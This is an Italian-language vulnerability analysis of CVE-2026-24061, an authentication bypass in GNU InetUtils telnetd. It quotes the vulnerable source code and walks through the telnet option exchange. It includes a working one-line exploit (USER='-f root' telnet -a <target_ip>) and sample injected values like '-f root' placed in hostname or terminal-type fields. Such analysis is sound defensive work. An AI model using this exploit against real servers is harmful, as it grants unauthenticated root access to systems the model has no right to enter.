
Analisi tecnica approfondita e scanner per CVE-2026-24061, un bypass critico dell'autenticazione in GNU InetUtils telnetd, inclusi catena di exploit, PoC e dettagli sulla patch.
CVE-2026-24061 è una vulnerabilità critica (CVSS 9.8) di bypass remoto dell'autenticazione in GNU InetUtils telnetd che consente ad attaccanti non autenticati di ottenere immediatamente accesso root. La vulnerabilità deriva da una sanificazione impropria della variabile d'ambiente USER, che viene passata direttamente a /usr/bin/login come argomento da riga di comando. Impostando USER=-f root, un attaccante attiva il flag -f di login, che bypassa completamente l'autenticazione.
Versioni Affette: GNU InetUtils 1.9.3 fino alla 2.7 Tipo di Vulnerabilità: CWE-88 (Iniezione di Argomenti) Data di Scoperta: 20 gennaio 2026 Scopritore: Kyu Neushwaistein (alias Carlos Cortes Alvarez)
telnetd/telnetd.c, righe ~49-63)La vulnerabilità inizia con una stringa template di comando che definisce come telnetd invoca /usr/bin/login:
/* Template command line for invoking login program. */
char *login_invocation =
#ifdef SOLARIS10
PATH_LOGIN " -p -h %h %?T{-t %T} -d %L %?u{-u %u}{%U}"
#elif defined SOLARIS
PATH_LOGIN " -h %h %?T{%T} %?u{-- %u}{%U}"
#else /* !SOLARIS */
PATH_LOGIN " -p -h %h %?u{-f %u}{%U}"
#endif
;
Osservazione Chiave: Su sistemi non Solaris, il template utilizza:
%?u{-f %u}{%U} - Questa è un'espressione condizionale che significa:
user_name è impostato (%u), usa -f %u (autologin autenticato)%U (la variabile d'ambiente USER come fallback)Il problema critico: %U si espande alla variabile d'ambiente USER grezza e non sanificata.
telnetd/utility.c, _var_short_name())La stringa template viene elaborata da expand_line(), che chiama _var_short_name() per espandere i segnaposto. Ecco il codice vulnerabile:
/* Expand a variable referenced by its short one-symbol name. */
char *
_var_short_name (struct line_expander *exp)
{
char *q;
char timebuf[64];
time_t t;
switch (*exp->cp++)
{
case 'a':
#ifdef AUTHENTICATION
if (auth_level >= 0 && autologin == AUTH_VALID)
return xstrdup ("ok");
#endif
return NULL;
case 'd':
time (&t);
strftime (timebuf, sizeof (timebuf),
"%l:%M%p on %A, %d %B %Y", localtime (&t));
return xstrdup (timebuf);
case 'h':
return xstrdup (remote_hostname); // POTENZIALMENTE VULNERABILE
case 'l':
return xstrdup (local_hostname);
case 'L':
return xstrdup (line);
case 't':
q = strchr (line + 1, '/');
if (q)
q++;
else
q = line;
return xstrdup (q);
case 'T':
return terminaltype ? xstrdup (terminaltype) : NULL; // POTENZIALMENTE VULNERABILE
case 'u':
return user_name ? xstrdup (user_name) : NULL;
case 'U':
return getenv ("USER") ? xstrdup (getenv ("USER")) : xstrdup (""); // VULNERABILE!
default:
exp->state = EXP_STATE_ERROR;
return NULL;
}
}
Il Bug Critico (caso 'U'): La variabile d'ambiente USER viene recuperata tramite getenv() e passata senza alcuna sanificazione. Quando un attaccante imposta USER=-f root, questa diventa parte della riga di comando di login.
telnetd/pty.c, start_login())La stringa di invocazione di login espansa viene eseguita in start_login():
/* Construct login command from template */
argcv_string (argcv_length (argv, NULL), argv, &login_cmd);
/* Execute login - this runs: /usr/bin/login -p -h <hostname> -f root */
execv (argv[0], argv);
L'attaccante si connette a telnetd (porta 23)
Avviene la negoziazione delle opzioni Telnet:
IAC DO NEW_ENVIRONIAC WILL NEW_ENVIRONIAC SB NEW_ENVIRON SEND (richiedendo l'ambiente)IAC SB NEW_ENVIRON IS VAR "USER" VALUE "-f root" IAC SEIl server elabora la variabile USER:
getenv("USER") restituisce -f root%U si espande a -f root/usr/bin/login -p -h <hostname> -f rootLogin interpreta -f root:
-f significa "salta l'autenticazione, l'utente è pre-autenticato"root è il nome utente con cui accedere# Sulla macchina dell'attaccante:
USER='-f root' telnet -a <target_ip>
Il flag -a abilita la modalità di login automatico, che invia la variabile d'ambiente USER al server.
L'avviso di sicurezza nota esplicitamente: "Pertanto esiste il potenziale per vulnerabilità simili per altre variabili." Analizziamo ogni variabile in _var_short_name():
| Var | Nome | Origine | Controllabile dall'Utente? | Sanificata? | Superficie di Attacco |
|---|---|---|---|---|---|
%U | Variabile env USER | getenv("USER") | SÌ (tramite NEW_ENVIRON) | NO | CRITICA - CVE-2026-24061 |
%h | remote_hostname | Ricerca DNS/PTR | Parziale (record PTR) | NO | ALTA |
%T | terminaltype | Opzione TERMINAL-TYPE | SÌ | NO | MEDIA |
%u | user_name | Negoziazione protocollo | SÌ | NO | MEDIA (richiede autenticazione) |
%l | local_hostname | Configurazione di sistema | NO | N/D | BASSA |
%L | linea (TTY) | Assegnata dal sistema | NO | N/D | BASSA |
%t | nome breve tty | Assegnata dal sistema | NO | N/D | BASSA |
%d | data/ora | Orologio di sistema | NO | N/D | NESSUNA |
%a | stato autenticazione | Stato interno | NO | N/D | NESSUNA |
%h - Nome Host Remoto (RISCHIO ALTO)Origine: Popolato in telnetd_setup() da telnetd.c tramite getnameinfo() o gethostbyaddr().
Il Problema: Se un attaccante controlla il proprio record PTR (DNS inverso), potrebbe potenzialmente iniettare:
foo -f root
Come proprio nome host, che diventerebbe parte dell'argomento -h:
/usr/bin/login -p -h "foo -f root" ...
Difficoltà di Sfruttamento:
Scenario nel Mondo Reale: Un attaccante con il controllo del record PTR del proprio IP (comune per i provider VPS) potrebbe impostare il proprio DNS inverso a un valore dannoso.
%T - Tipo di Terminale (RISCHIO MEDIO)Origine: Ricevuto tramite la sub-negoziazione Telnet TERMINAL-TYPE, memorizzato nella variabile terminaltype.
Il Problema: La stringa del tipo di terminale è controllata dall'attaccante e non sanificata:
case 'T':
return terminaltype ? xstrdup (terminaltype) : NULL;
Utilizzo nei Template:
%?T{-t %T} - Usato con il flag -t%?T{%T} - Inserito direttamenteAttacco Potenziale:
TERMINAL-TYPE: xterm -f root
Tuttavia, lo sfruttamento dipende da:
%T (attualmente solo Solaris)-t%u - Nome Utente Autenticato (RISCHIO MEDIO)Origine: Impostato durante la negoziazione dell'autenticazione.
Il Problema: Usato nel pattern -f %u:
PATH_LOGIN " -p -h %h %?u{-f %u}{%U}"